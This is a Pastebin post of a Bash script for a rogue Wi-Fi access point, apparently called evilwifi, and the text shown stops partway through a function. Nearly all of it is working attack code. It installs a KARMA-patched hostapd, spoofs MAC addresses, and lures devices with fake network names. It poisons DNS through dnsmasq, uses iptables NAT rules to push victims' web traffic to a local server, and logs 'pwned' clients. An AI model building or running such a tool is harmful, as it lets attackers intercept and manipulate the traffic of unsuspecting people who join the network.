Advertisement
johnmahugu

bash - bash shell script to hack wifi

Jul 8th, 2015
366
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 46.40 KB | None | 0 0
  1. # irc.rizon.net    #
  2. # channel wifihack #
  3. ####################
  4. #  CONFIG SECTION  #
  5. ####################
  6. TAPIP=10.0.0.1             #ip address of moniface
  7. NETMASK=255.255.0.0        #subnetmask
  8. WILDCARD=0.0.255.255       #dunno what this is
  9. # =>
  10. NETWORK=10.0.0.0/16
  11. TAPIPBLOCK=10.0.0.0        #subnet
  12. DHCPS=10.0.0.1             #dhcp start range
  13. DHCPE=10.0.255.254         #dhcp end range
  14. BROADCAST=10.0.255.255     #broadcast address
  15. # Hosts/Net 65534          #CLASS C, Private Internet
  16. DHCPL=1h                   #time for dhcp lease
  17. ####################
  18. #  OTHER SETTINGS  #
  19. ####################
  20. termwidth=130
  21. folder=/tmp/.evilwifi
  22. settings=evilwifi.conf
  23. karma_enabled=1
  24. ########################################
  25. ### IF YOU TOUCH ANYTHING UNDER THIS ###
  26. ### NO SUPPORT WILL BE GIVEN TO YOU  ###
  27. ########################################
  28. ########################################
  29. ###      YOU HAVE BEEN WARNED!!!     ###
  30. ###                                  ###
  31. ########################################
  32. REVISION=051
  33. #############################
  34. #    UNCOMMENT TO ENABLE    #
  35. #############################
  36. #function customfirewall(){
  37. #iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
  38. #iptables -t nat -A YOURRULEHERE
  39. #}
  40. function banner(){
  41. echo "
  42. ######## ##     ## #### ##          ##      ## #### ######## ####
  43. ##       ##     ##  ##  ##          ##  ##  ##  ##  ##        ##  
  44. ##       ##     ##  ##  ##          ##  ##  ##  ##  ##        ##  
  45. ######   ##     ##  ##  ##          ##  ##  ##  ##  ######    ##  
  46. ##        ##   ##   ##  ##          ##  ##  ##  ##  ##        ##  
  47. ##         ## ##    ##  ##          ##  ##  ##  ##  ##        ##  
  48. ########    ###    #### ########     ###  ###  #### ##       ####
  49.  
  50. +-++-+ +-++-++-++-++-++-+ +-++-++-++-++-++-++-+ +-++-++-++-++-++-+
  51. |B||Y| |H||A||C||K||E||R| |B||U||S||T||E||R||S| |C||A||N||A||D||A|
  52. +-++-+ +-++-++-++-++-++-+ +-++-++-++-++-++-++-+ +-++-++-++-++-++-+
  53. "
  54. }
  55. OK=`printf "\e[1;32m OK \e[0m"`
  56. FAIL=`printf "\e[1;31mFAIL\e[0m"`
  57. initpath=`pwd`
  58. hostname=$(hostname)
  59. arpaaddr=$(echo $TAPIP|rev)
  60. if [ -d != $folder ]; then mkdir $folder 2> /dev/null; fi
  61. sessionfolder=$folder/SESSION_$RANDOM
  62. mkdir $sessionfolder
  63. mkdir $sessionfolder/logs
  64. mkdir $sessionfolder/pids
  65. mkdir $sessionfolder/pcaps
  66. mkdir $sessionfolder/config
  67. LOG=$sessionfolder/logs/evilwifi.log
  68. MAC=$(awk '/HWaddr/ { print $5 }' < <(ifconfig $ATHIFACE))
  69. touch $LOG
  70. touch $sessionfolder/logs/missing.log
  71. touch $sessionfolder/config/hostapd.deny
  72. touch $sessionfolder/config/hostapd.accept
  73. function control_c(){
  74. echo ""
  75. echo ""
  76. echo "CTRL+C Was Pressed..."
  77. stopshit
  78. monitormodestop
  79. cleanup
  80. exit 0
  81. }
  82. trap control_c INT
  83. ####################
  84. # INTERNET TESTING #
  85. ####################
  86. function pinginternet(){
  87. INTERNETTEST=$(awk '/bytes from/ { print $1 }' < <(ping 8.8.8.8 -c 1 -w 3))
  88. if [ "$INTERNETTEST" = "64" ]; then INTERNET=TRUE; else INTERNET=FALSE; fi
  89. WANIP=$(curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+')
  90. if [ "$WANIP" != "" ]; then INTERNET=TRUE; ICMPBLOCK=TRUE; else INTERNET=FALSE; fi
  91. }
  92. function dnscheck(){
  93. DNSCHECK=$(awk '/bytes from/ { print $1 }' < <(ping raw.github.com -c 1 -w 3))
  94. if [ "$DNSCHECK" = "64" ]; then DNS=TRUE; else DNS=FALSE; fi
  95. if [ "$ICMPBLOCK" = "TRUE" ]; then DNS=TRUE; fi
  96. }
  97. function pinggateway(){
  98. GATEWAYRDNS=$(awk '/br-lan/ && /UG/ {print $2}' < <(route))
  99. GATEWAY=$(awk '/br-lan/ && /UG/ { print $2 }' < <(route -n))
  100. echo "Pinging $GATEWAYRDNS [$GATEWAY] with 64 bytes of data:"
  101. GATEWAYTEST=$(awk '/bytes from/ { print $1 }' < <(ping $GATEWAY -c 1 -w 3))
  102. if [ "$GATEWAYTEST" = "64" ]; then echo "Reply from $GATEWAY: bytes=64"; else echo "Request timed out."; fi
  103. }
  104. function pingvictim(){
  105. echo "Pinging $VICTIMRDNS [$VICTIM] with 64 bytes of data:"
  106. ping $VICTIM -c 20 -W 1 | awk '/bytes from/ { print $5 }'
  107. }
  108. function checkupdate(){
  109. echo "+===================================+"
  110. echo "| RUNNING SCRIPT UPDATE CHECK       |"
  111. echo "+===================================+"
  112. newrevision=$(curl -s -B -L https://raw.github.com/CanadianJeff/BackTrack-5-Scripts/master/VERSION)
  113. if [ "$newrevision" -gt "$REVISION" ]; then update;
  114. else
  115. echo ""
  116. echo "#####################################"
  117. echo "# NO UPDATE IS REQUIRED             #"
  118. echo "#####################################";
  119. fi
  120. }
  121. function update(){
  122. echo ""
  123. echo "#####################################"
  124. echo "# ATTEMPTING TO DOWNLOAD UPDATE     #"
  125. echo "#####################################"
  126. wget -nv -t 1 -T 10 -O evilwifi.sh.tmp https://raw.github.com/CanadianJeff/BackTrack-5-Scripts/master/evilwifi.sh
  127. if [ -f evilwifi.sh.tmp ]; then rm evilwifi.sh; mv evilwifi.sh.tmp evilwifi.sh;
  128. echo "CHMOD & EXIT"
  129. chmod 755 evilwifi.sh
  130. read -e -p "Update [$OK] " enter
  131. exit 0
  132. else
  133. echo "Update [$FAIL]..."
  134. read -e -p "Try Again? " enter
  135. update
  136. fi
  137. }
  138. ######################
  139. # DEPENDENCY SECTION #
  140. ######################
  141. function installdeps(){
  142. installaircrack
  143. installhostapd
  144. installlighttpd
  145. }
  146. function uninstallaircrack(){
  147. if [ -d "/usr/src/aircrack-ng" ]; then
  148. cd /usr/src/aircrack-ng;
  149. make uninstall && make clean; fi
  150. cd $initpath
  151. }
  152. function installaircrack(){
  153. uninstallaircrack
  154. cd /usr/src
  155. rm -rfv aircrack-ng*;
  156. svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
  157. cd aircrack-ng
  158. make > $sessionfolder/logs/aircrack_make.log
  159. make install > $sessionfolder/logs/aircrack_make_install.log
  160. airodump-ng-oui-update
  161. cd $initpath
  162. }
  163. function uninstallhostapd(){
  164. if [ -d "/usr/src/hostapd-1.0-karma" ]; then
  165. cd /usr/src/hostapd-1.0-karma/hostapd;
  166. make clean;
  167. cd /usr/src
  168. rm -rfv hostapd*
  169. cd $initpath
  170. fi
  171. }
  172. function installhostapd(){
  173. uninstallhostapd
  174. cd /usr/src
  175. wget -nv -t 1 -T 10 http://www.digininja.org/files/hostapd-1.0-karma.tar.bz2
  176. tar -xvf hostapd-1.0-karma.tar.bz2
  177. cd hostapd-1.0-karma
  178. cd hostapd
  179. make > $sessionfolder/logs/hostapd_make.log
  180. make install > $sessionfolder/logs/hostapd_make_install.log
  181. cd $initpath
  182. }
  183. function installlighttpd(){
  184. apt-get install lighttpd
  185. }
  186. ####################
  187. # PIDS AND CLEANUP #
  188. ####################
  189. function pspids(){
  190. pgrep airbase-ng > $sessionfolder/pids/airbase-ng.pid
  191. pgrep dnsmasq > $sessionfolder/pids/dnsmasq.pid
  192. pgrep hostapd > $sessionfolder/pids/hostapd.pid
  193. pgrep dumpcap > $sessionfolder/pids/dumpcap.pid
  194. pgrep wireshark > $sessionfolder/pids/wireshark.pid
  195. pgrep lighttpd > $sessionfolder/pids/lighttpd.pid
  196. }
  197. function stopshit(){
  198. pspids
  199. service lighttpd stop &>>$LOG
  200. service apache2 stop &>>$LOG
  201. service dhcp3-server stop &>>$LOG
  202. while [ -s $sessionfolder/pids/airbase-ng.pid ]; do
  203. sleep 2
  204. pspids
  205. echo "Killing Airbase-NG"
  206. kill `awk '{ print $1 }' < <(cat $sessionfolder/pids/airbase-ng.pid)` &>/dev/null
  207. done
  208. while [ -s $sessionfolder/pids/hostapd.pid ]; do
  209. sleep 2
  210. pspids
  211. echo "Killing Hostapd"
  212. kill -9 `awk '{ print $1 }' < <(cat $sessionfolder/pids/hostapd.pid)` &>/dev/null
  213. airmon-ng stop mon.$TAPIFACE &>/dev/null
  214. done
  215. while [ -s $sessionfolder/pids/dnsmasq.pid ]; do
  216. sleep 2
  217. pspids
  218. echo "Killing DNSMASQ"
  219. kill `awk '{ print $1 }' < <(cat $sessionfolder/pids/dnsmasq.pid)` &>/dev/null
  220. done
  221. while [ -s $sessionfolder/pids/dumpcap.pid ]; do
  222. sleep 2
  223. pspids
  224. echo "Killing DUMPCAP"
  225. kill `awk '{ print $1 }' < <(cat $sessionfolder/pids/dumpcap.pid)` &>/dev/null
  226. done
  227. for pid in `ls $sessionfolder/pids/*.pid 2>$LOG`; do if [ -s "$pid" ]; then
  228. kill `cat $sessionfolder/pids/probe.pid 2>$LOG` &>/dev/null
  229. kill `cat $sessionfolder/pids/pwned.pid 2>$LOG` &>/dev/null
  230. kill `cat $sessionfolder/pids/web.pid 2>$LOG` &>/dev/null
  231. kill `cat $pid 2>$LOG` &>/dev/null
  232. fi; done
  233. if [ -f /var/run/dhcpd/$TAPIFACE.pid ]; then
  234. kill `cat /var/run/dhcpd/$TAPIFACE.pid 2>$LOG` &>/dev/null;
  235. fi
  236. killall -9 airodump-ng aireplay-ng mdk3 driftnet urlsnarf dsniff &>/dev/null
  237. firewallreset
  238. if [ "$ATHIFACE" != "" ]; then ifconfig $ATHIFACE down; fi
  239. if [ "$TAPIFACE" != "" ]; then ifconfig $TAPIFACE down; fi
  240. }
  241. function cleanup(){
  242. dhcpconf=/etc/dhcp3/dhcpd.conf
  243. echo > $dhcpconf
  244. mv $APACHECONF/default~ $APACHECONF/default
  245. }
  246. ###################
  247. # CONF FILE MAKER #
  248. ###################
  249. function settings(){
  250. echo ""
  251. echo "+===================================+"
  252. echo "| Listing Wireless Devices          |"
  253. echo "+===================================+"
  254. airmon-ng | awk '/phy/ {print $1}'
  255. echo "+===================================+"
  256. echo ""
  257. echo "Pressing Enter Uses Default Settings"
  258. echo ""
  259. read -e -p "RF Moniter Interface [wlan0]: " ATHIFACE
  260. if [ "$ATHIFACE" = "" ]; then ATHIFACE=wlan0; fi
  261. ifconfig $ATHIFACE up
  262. MAC=$(ifconfig $ATHIFACE | awk '/HWaddr/ { print $5 }')
  263. read -e -p "Spoof MAC Addres For $ATHIFACE [$MAC]: " SPOOFMAC
  264. read -e -p "What SSID Do You Want To Use [WiFi]: " ESSID
  265. if [ "$ESSID" = "" ]; then ESSID=WiFi; fi
  266. read -e -p "What CHANNEL Do You Want To Use [1]: " CHAN
  267. if [ "$CHAN" = "" ]; then CHAN=1; fi
  268. read -e -p "Select your MTU setting [7981]: " MTU
  269. if [ "$MTU" = "" ]; then MTU=7981; fi
  270. if [ "$MODE" = "4" ]; then
  271. read -e -p "Targets MAC Address: " TARGETMAC
  272. fi
  273. read -e -p "Beacon Intervals [50]: " BEAINT
  274. if [ "$BEAINT" = "" ]; then BEAINT=100; fi
  275. if [ "$BEAINT" -lt "10" ]; then BEAINT=100; fi
  276. read -e -p "Packets Per Second [100]: " PPS
  277. if [ "$PPS" = "" ]; then PPS=100; fi
  278. if [ "$PPS" -lt "100" ]; then PPS=100; fi
  279. read -e -p "Other AirBase-NG Options [none]: " OTHEROPTS
  280. read -e -p "DNS Spoof What Website [#]: " DNSURL
  281. if [ "$DNSURL" = "" ]; then DNSURL=\#; fi
  282. echo ""
  283. }
  284. ######################
  285. # CONF FILES SECTION #
  286. ######################
  287. function hostapdconfig(){
  288. hostapdconf=$sessionfolder/config/hostapd.conf
  289. TAPIFACE=$ATHIFACE
  290. echo "driver=nl80211" > $hostapdconf
  291. echo "enable_karma=$karma_enabled" >> $hostapdconf
  292. echo "karma_black_white=1" >> $hostapdconf
  293. echo "interface=$TAPIFACE" >> $hostapdconf
  294. echo "logger_syslog=-1" >> $hostapdconf
  295. echo "logger_syslog_level=2" >> $hostapdconf
  296. echo "logger_stdout=-1" >> $hostapdconf
  297. echo "logger_stdout=2" >> $hostapdconf
  298. echo "dump_file=$sessionfolder/logs/hostapd.dump" >> $hostapdconf
  299. echo "ctrl_interface=/var/run/hostapd" >> $hostapdconf
  300. echo "ctrl_interface_group=0" >> $hostapdconf
  301. echo "ssid=$ESSID" >> $hostapdconf
  302. echo "hw_mode=g" >> $hostapdconf
  303. echo "channel=$CHAN" >> $hostapdconf
  304. echo "beacon_int=$BEAINT" >> $hostapdconf
  305. echo "dtim_period=2" >> $hostapdconf
  306. echo "max_num_sta=2000" >> $hostapdconf
  307. echo "rts_threshold=2347" >> $hostapdconf
  308. echo "fragm_threshold=2346" >> $hostapdconf
  309. echo "macaddr_acl=0" >> $hostapdconf
  310. echo "accept_mac_file=$sessionfolder/config/hostapd.accept" >> $hostapdconf
  311. echo "deny_mac_file=$sessionfolder/config/hostapd.deny" >> $hostapdconf
  312. echo "auth_algs=3" >> $hostapdconf
  313. echo "ignore_broadcast_ssid=0" >> $hostapdconf
  314. #echo "wep_default_key=0" >> $hostapdconf
  315. #echo "wep_key0=123456789a" >> $hostapdconf
  316. echo "ap_max_inactivity=300" >> $hostapdconf
  317. echo "disassoc_low_ack=1" >> $hostapdconf
  318. #echo "ap_isolate=1" >> $hostapdconf
  319. #echo "ieee80211n=1" >> $hostapdconf
  320. #echo "access_network_type=0" >> $hostapdconf
  321. }
  322. function dhcpd3config(){
  323. echo "* DHCPD3 SERVER!!! *"
  324. replace INTERFACES=\"\" INTERFACES=\"$TAPIFACE\" -- /etc/default/dhcp3-server
  325. echo "" > /var/lib/dhcp3/dhcpd.leases
  326. mkdir -p /var/run/dhcpd && chown dhcpd.dhcpd /var/run/dhcpd;
  327. dhcpconf=/etc/dhcp3/dhcpd.conf
  328. echo "ddns-update-style none;" > $dhcpconf
  329. echo "default-lease-time 600;" >> $dhcpconf
  330. echo "max-lease-time 7200;" >> $dhcpconf
  331. echo "" >> $dhcpconf
  332. echo "log-facility local7;" >> $dhcpconf
  333. #echo "local7.* $folder/dhcpd.log" > /etc/rsyslog.d/dhcpd.conf
  334. echo "" >> $dhcpconf
  335. echo "authoritative;" >> $dhcpconf
  336. echo "" >> $dhcpconf
  337. # echo "shared-network NetworkName {" >> $dhcpconf
  338. echo "subnet $TAPIPBLOCK netmask $NETMASK {" >> $dhcpconf
  339. # echo "option subnet-mask $NETMASK;" >> $dhcpconf
  340. # echo "option broadcast-address $BROADCAST;" >> $dhcpconf
  341. echo "option domain-name backtrack-linux;" >> $dhcpconf
  342. echo "option domain-name-servers $TAPIP;" >> $dhcpconf
  343. echo "option routers $TAPIP;" >> $dhcpconf
  344. echo "range $DHCPS $DHCPE;" >> $dhcpconf
  345. echo "allow unknown-clients;" >> $dhcpconf
  346. echo "one-lease-per-client false;" >> $dhcpconf
  347. echo "}" >> $dhcpconf
  348. # echo "}" >> $dhcpconf
  349. dhcpdserver
  350. }
  351. function dnsmasqconfig(){
  352. dnsmasqconf=$sessionfolder/config/dnsmasq.conf
  353. echo "# auto-generated config file from evilwifi.sh" > $dnsmasqconf
  354. echo "address=/$DNSURL/$TAPIP" >> $dnsmasqconf
  355. # echo "ptr-record=$arpaaddr.in-addr.arpa,$hostname.wirelesslan" >> $dnsmasqconf
  356. echo "dhcp-authoritative" >> $dnsmasqconf
  357. echo "dhcp-lease-max=102" >> $dnsmasqconf
  358. echo "domain-needed" >> $dnsmasqconf
  359. echo "domain=wirelesslan" >> $dnsmasqconf
  360. echo "server=/wirelesslan/" >> $dnsmasqconf
  361. echo "localise-queries" >> $dnsmasqconf
  362. echo "log-queries" >> $dnsmasqconf
  363. echo "log-dhcp" >> $dnsmasqconf
  364. # echo "read-ethers" >> $dnsmasqconf
  365. # echo "bogus-priv" >> $dnsmasqconf
  366. # echo "expand-hosts" >> $dnsmasqconf
  367. echo "" >> $dnsmasqconf
  368. echo "interface=$TAPIFACE" >> $dnsmasqconf
  369. echo "dhcp-leasefile=$sessionfolder/dnsmasq.leases" >> $dnsmasqconf
  370. echo "resolv-file=$sessionfolder/resolv.conf.auto" >> $dnsmasqconf
  371. echo "stop-dns-rebind" >> $dnsmasqconf
  372. # echo "rebind-localhost-ok" >> $dnsmasqconf
  373. echo "dhcp-range=wirelesslan,$DHCPS,$DHCPE,$NETMASK,$DHCPL" >> $dnsmasqconf
  374. echo "dhcp-option=wirelesslan,3,$TAPIP" >> $dnsmasqconf
  375. echo "dhcp-option=252,\"\n\"" >> $dnsmasqconf
  376. # echo "dhcp-option=wirelesslan,3," >> $dnsmasqconf
  377. echo "dhcp-host=$MAC,$TAPIP" >> $dnsmasqconf
  378. echo "nameserver $TAPIP" > $sessionfolder/resolv.conf.auto
  379. if [ "$mode" = "1" ]; then startdnsmasq; fi
  380. if [ "$mode" = "2" ]; then startdnsmasqresolv; fi
  381. }
  382. function lighttpdconfig(){
  383. echo "docroot=/var/www" > /etc/lighttpd.conf
  384. echo "" >> /etc/lighttpd.conf
  385. echo "server.modules              = (" >> /etc/lighttpd.conf
  386. echo " \"mod_access\"," >> /etc/lighttpd.conf
  387. echo " \"mod_alias\"," >> /etc/lighttpd.conf
  388. echo " \"mod_accesslog\"," >> /etc/lighttpd.conf
  389. echo " \"mod_rewrite\"" >> /etc/lighttpd.conf
  390. echo ")" >> /etc/lighttpd.conf
  391. echo "" >> /etc/lighttpd.conf
  392. echo "server.document-root = \"$docroot/evilwifi\"" >> /etc/lighttpd.conf
  393. echo "server.upload-dirs = ( \"/var/cache/lighttpd/uploads\" )" >> /etc/lighttpd.conf
  394. echo "server.errorlog = \"$sessionfolder/logs/lighttpd/error.log\"" >> /etc/lighttpd.conf
  395. echo "accesslog.filename = \"$sessionfolder/logs/lighttpd/access.log\"" >> /etc/lighttpd.conf
  396. echo "index-file.names = ( \"index.php\" )" >> /etc/lighttpd.conf
  397. echo "# url.access-deny = ( \"~\", \".inc\" )" >> /etc/lighttpd.conf
  398. echo "static-file.exclude-extensions = ( \".php\", \".pl\", \".fcgi\" )" >> /etc/lighttpd.conf
  399. echo "server.port = 31337" >> /etc/lighttpd.conf
  400. echo "# server.bind = \"localhost\"" >> /etc/lighttpd.conf
  401. echo "server.pid-file = \"$sessionfolder/pids/lighttpd.pid\"" >> /etc/lighttpd.conf
  402. echo "server.dir-listing = \"disable\"" >> /etc/lighttpd.conf
  403. echo "# server.chroot = \"/\"" >> /etc/lighttpd.conf
  404. echo "# server.username = \"root\"" >> /etc/lighttpd.conf
  405. echo "# server.groupname = \"root\"" >> /etc/lighttpd.conf
  406. }
  407. ####################
  408. # FIREWALL RELATED #
  409. ####################
  410. function listeningports(){
  411. netstat -npltw | awk '/0.0.0.0/ {print $4}' | cut -f2 -d ':' > $sessionfolder/logs/listentcp.txt
  412. netstat -npluw | awk '/0.0.0.0/ {print $4}' | cut -f2 -d ':' > $sessionfolder/logs/listenudp.txt
  413. }
  414. function firewallreset(){
  415. iptables --flush
  416. iptables --table nat --flush
  417. iptables --table mangle --flush
  418. iptables -X
  419. iptables --delete-chain
  420. iptables --table nat --delete-chain
  421. iptables --table mangle --delete-chain
  422. echo "0" > /proc/sys/net/ipv4/ip_forward
  423. }
  424. function firewall(){
  425. iptables -N logaccept
  426. iptables -N logdrop
  427. iptables -N logbrute
  428. iptables -N logreject
  429. iptables -N victim2wan
  430. iptables -N victim2lan
  431. iptables -P FORWARD ACCEPT
  432. iptables -P INPUT ACCEPT
  433. iptables -A INPUT -i lo -j logaccept
  434. echo "1" > /proc/sys/net/ipv4/ip_forward
  435. }
  436. function firewallprenat(){
  437. echo "####################"
  438. echo "# PRE NAT FIREWALL #"
  439. echo "####################"
  440. iptables -A INPUT -m state --state RELATED,ESTABLISHED -j logaccept
  441. iptables -A INPUT -i $TAPIFACE -j logaccept
  442. # iptables -A INPUT -i $WANIFACE -p tcp --dport 22 -j logbrute
  443. iptables -A INPUT -p tcp -d $TAPIP --dport 22 -j logaccept
  444. # iptables -A INPUT -i $WANIFACE -p icmp -j ACCEPT
  445. iptables -A INPUT -i lo -m state --state NEW -j ACCEPT
  446. iptables -A INPUT -i $TAPIFACE -m state --state NEW -j logaccept
  447. iptables -A INPUT -j logdrop
  448. # iptables -A FORWARD -o $WANIFACE -s $NETWORK -j logaccept
  449. iptables -A FORWARD -i $TAPIFACE -j logaccept
  450. iptables -A FORWARD -i $TAPIFACE -o $TAPIFACE -j logaccept
  451. iptables -A FORWARD -j victim2wan
  452. iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j logaccept
  453. # iptables -A FORWARD -i $TAPIFACE -o $WANIFACE -j logaccept
  454. iptables -A FORWARD -o $TAPIFACE -d $TAPIP -j logaccept
  455. iptables -A FORWARD -i $TAPIFACE -m state --state NEW -j logaccept
  456. iptables -A FORWARD -j logdrop
  457. iptables -A OUTPUT -o $TAPIFACE -j logaccept
  458. iptables -A logaccept -j ACCEPT
  459. iptables -A logbrute -j logdrop
  460. iptables -A logdrop -j DROP
  461. # iptables -A logreject -p tcp --reject-with tcp-reset -j REJECT
  462.  
  463. echo "# PRE NAT COMPLETE #"
  464. echo "####################"
  465. }
  466. ###############################
  467. # NETWORK ADDRESS TRANSLATION #
  468. ###############################
  469. function firewallbrlan(){
  470. iptables -t nat -A POSTROUTING -o $WANIFACE -s $NETWORK -j SNAT --to-destination $WANIP
  471. iptables -t nat -A POSTROUTING -o br-lan -j MASQUERADE
  472. }
  473. function firewallnat(){
  474. echo "######################"
  475. echo "# NAT TABLES INSTALL #"
  476. echo "######################"
  477. iptables -t mangle -N internet
  478. iptables -t mangle -A PREROUTING -i $TAPIFACE -p tcp -m tcp --dport 80 -j internet
  479. iptables -t mangle -A internet -j MARK --set-mark 99
  480. iptables -t nat -A PREROUTING -i $TAPIFACE -p tcp -m mark --mark 99 -m tcp --dport 80 -j DNAT --to-destination $TAPIP
  481. #iptables -t nat -A PREROUTING $TAPIFACE -p tcp --dport 53 -j DNAT --to-destination $TAPIP:53
  482. #iptables -t nat -A PREROUTING $TAPIFACE -p udp --dport 53 -j DNAT --to-destination $TAPIP:53
  483. #iptables -t nat -A PREROUTING $TAPIFACE -p tcp --dport 67 -j DNAT --to-destination $TAPIP:67
  484. #iptables -t nat -A PREROUTING $TAPIFACE -p udp --dport 67 -j DNAT --to-destination $TAPIP:67
  485. #iptables -t nat -A PREROUTING $TAPIFACE -p tcp --dport 68 -j DNAT --to-destination $TAPIP:68
  486. #iptables -t nat -A PREROUTING $TAPIFACE -p udp --dport 68 -j DNAT --to-destination $TAPIP:68
  487. #iptables -t nat -A PREROUTING $TAPIFACE -p tcp --dport 80 -j DNAT --to-destination $TAPIP:80
  488. #iptables -t nat -A PREROUTING $TAPIFACE -p tcp --dport 443 -j DNAT --to-destination $TAPIP:443
  489. listeningports
  490. for TCPPORT in `grep -v N $sessionfolder/logs/listentcp.txt`; do
  491. iptables -t nat -A PREROUTING $TAPIFACE -p tcp --dport $TCPPORT -j DNAT --to-destination $TAPIP:$TCPPORT; done
  492. for UDPPORT in `grep -v N $sessionfolder/logs/listenudp.txt`; do
  493. iptables -t nat -A PREROUTING $TAPIFACE -p udp --dport $UDPPORT -j DNAT --to-destination $TAPIP:$UDPPORT; done
  494. iptables -t nat -A POSTROUTING -o $TAPIFACE -s $NETOWRK -d $NETWORK -j MASQUERADE
  495. echo "####################"
  496. echo "# DONE WITH NAT FW #"
  497. echo "####################"
  498. }
  499. #####################
  500. # STARTING SERVICES #
  501. #####################
  502. function starthostapd(){
  503. echo "* STARTING SERVICE: HOSTAPD *"
  504. hostapd -dd -f $sessionfolder/logs/hostapd.log -P $sessionfolder/pids/hostapd.pid $sessionfolder/config/hostapd.conf -B
  505. sleep 7
  506. }
  507. function startairbase(){
  508. if [ "karma_enabled" != "1" ]; then KARMA=`-e "$ESSID"`;
  509. echo "* STARTING SERVICE: AIRBASE-NG (WITH KARMA) *"; else echo "* STARTING SERVICE: AIRBASE-NG *"; fi
  510. airbase-ng -a $MAC -c $CHAN -x $PPS -I $BEAINT $KARMA $OTHEROPTS $MONIFACE -P -C 15 -v > $sessionfolder/logs/airbaseng.log &
  511. }
  512. function startdnsmasq(){
  513. echo "no-poll" >> /etc/dnsmasq.conf
  514. echo "no-resolv" >> /etc/dnsmasq.conf
  515. echo "* DNSMASQ DNS POISON!!! *"
  516. gnome-terminal --geometry="$termwidth"x35 --hide-menubar --title=DNSERVER -e \
  517. "dnsmasq --no-daemon -C $dnsmasqconf"
  518. }
  519. function startdnsmasqresolv(){
  520. echo "dhcp-option=wirelesslan,6,$TAPIP,8.8.8.8" >> /etc/dnsmasq.conf
  521. echo "* DNSMASQ With Internet *"
  522. gnome-terminal --geometry="$termwidth"x35 --hide-menubar --title=DNSERVER -e \
  523. "dnsmasq --no-daemon --except-interface=lo -C $dnsmasqconf"
  524. }
  525. function udhcpdserver(){
  526. gnome-terminal --geometry="$termwidth"x15 --hide-menubar --title=DHCP-"$ESSID" -e \
  527. "udhcpd"
  528. }
  529. function dhcpdserver(){
  530. gnome-terminal --geometry="$termwidth"x15 --hide-menubar --title=DHCP-"$ESSID" -e \
  531. "dhcpd3 -d -f -cf $dhcpconf -pf /var/run/dhcpd/$TAPIFACE.pid $TAPIFACE"
  532. }
  533. function nodhcpserver(){
  534. echo "* Not Using A Local DHCP Server *"
  535. }
  536. function apachesetup(){
  537. APACHECONF=/etc/apache2/sites-available
  538. if [ -f $APACHECONF/default~ ]; then cp $APACHECONF/default~ $APACHECONF/default;
  539. else cp $APACHECONF/default $APACHECONF/default~; fi
  540. sed -n "s/AllowOverride None/AllowOverride All/g" $APACHECONF/default
  541. echo > /var/log/apache2/access.log
  542. echo > /var/log/apache2/error.log
  543. ln -s /var/log/apache2/access.log $sessionfolder/logs/access.log
  544. ln -s /var/log/apache2/error.log $sessionfolder/logs/error.log
  545. }
  546. function apachecheck(){
  547. apache=$(ps aux|grep "/usr/sbin/apache2"|grep www-data)
  548. if [[ -z $apache ]]; then
  549. echo "* Starting Apache2 Web Server *"
  550. /etc/init.d/apache2 start
  551. sleep 2
  552. apache=$(ps aux|grep "/usr/sbin/apache2"|grep www-data)
  553. if [[ -z $apache ]]; then
  554. echo "* Apache Failed To Start Skipping... *"
  555. sleep 4
  556. else
  557. echo "* Apache2 Web Server Started *"
  558. fi
  559. else
  560. echo "Apache2 Was Already Running"
  561. fi
  562. }
  563. #############################
  564. # SHELL SCRIPT VERBOSE MODE #
  565. #############################
  566. function taillogshostapd(){
  567. echo > /var/log/syslog
  568. # for (i=9; i<=NF; i++)
  569. echo "echo \$$ > $sessionfolder/pids/probe.pid" > $folder/probe.sh
  570. #echo "cur_time=$(awk '// {print $4}' < <(date))" >> $folder/probe.sh
  571. echo "awk '/Probe/ {printf(\"TIME: %s | MAC: %s | TYPE: PROBE REQUEST | IP: 000.000.000.000 | ESSID: %s %s %s %s %s %s %s\n\", strftime(\"%H:%M:%S\"), \$5, \$8, \$9, \$10, \$11, \$12, \$13, \$14, \$15)}' < <(tail -f $sessionfolder/logs/hostapd.log)" >> $folder/probe.sh
  572. echo "echo \$$ > $sessionfolder/pids/pwned.pid" > $folder/pwned.sh
  573. echo "awk '/AP-STA-CONNECTED/ {printf(\"TIME: %s | MAC: %s | TYPE: CONNECTEDTOAP | IP: 000.000.000.000 | ESSID: \n\", strftime(\"%H:%M:%S\"), \$3)}' < <(tail -f $sessionfolder/logs/hostapd.log) &" >> $folder/pwned.sh
  574. echo "awk '/DHCPACK/ && /$TAPIFACE/ {printf(\"TIME: %s | MAC: %s | TYPE: DHCP ACK [OK] | IP: %s | HOSTNAME: %s\n\", \$3, \$9, \$8, \$10)}' < <(tail -f /var/log/syslog)" >> $folder/pwned.sh
  575. echo "echo \$$ > $sessionfolder/pids/web.pid" > $folder/web.sh
  576. #echo "awk '/GET/ {printf(\"TIME: %s | TYPE: WEB HTTP REQU | IP: %s | %s: %s | %s %s %s\n\", substr(\$4,14), \$1, \$9, \$11, \$6, \$7, \$8)}' < <(tail -f $folder/access.log)" >> $folder/web.sh
  577. echo "awk '/GET/ {printf(\"TIME: %s | IP: %s | %s: %s | %s %s %s\n\", substr(\$4,14), \$1, \$9, \$11, \$6, \$7, \$8)}' < <(tail -f $sessionfolder/logs/access.log)" >> $folder/web.sh
  578. chmod a+x $folder/probe.sh
  579. chmod a+x $folder/pwned.sh
  580. chmod a+x $folder/web.sh
  581. gnome-terminal --geometry="$termwidth"x35 --hide-menubar --title=WEB -e "/bin/bash $folder/web.sh"
  582. gnome-terminal --geometry="$termwidth"x17 --hide-menubar --title=PWNED -e "/bin/bash $folder/pwned.sh"
  583. gnome-terminal --geometry="$termwidth"x17 --hide-menubar --title=PROBE -e "/bin/bash $folder/probe.sh"
  584. #VICTIMMAC=awk '{printf("$2")}' < <(`tail -f dnsmasq.leases`)
  585. #VICTIMIP=
  586. #VICTHOST=$(awk '/$VICTIMMAC/ {printf("$4")}')
  587. #gnome-terminal --geometry="$termwidth"x15 --hide-menubar --title="APACHE2 ERROR.LOG" -e \
  588. #"tail -f $sessionfolder/error.log"
  589. }
  590. function taillogsairbase(){
  591. echo > /var/log/syslog
  592. # for (i=9; i<=NF; i++)
  593. echo "echo \$$ > $sessionfolder/pids/probe.pid" > $folder/probe.sh
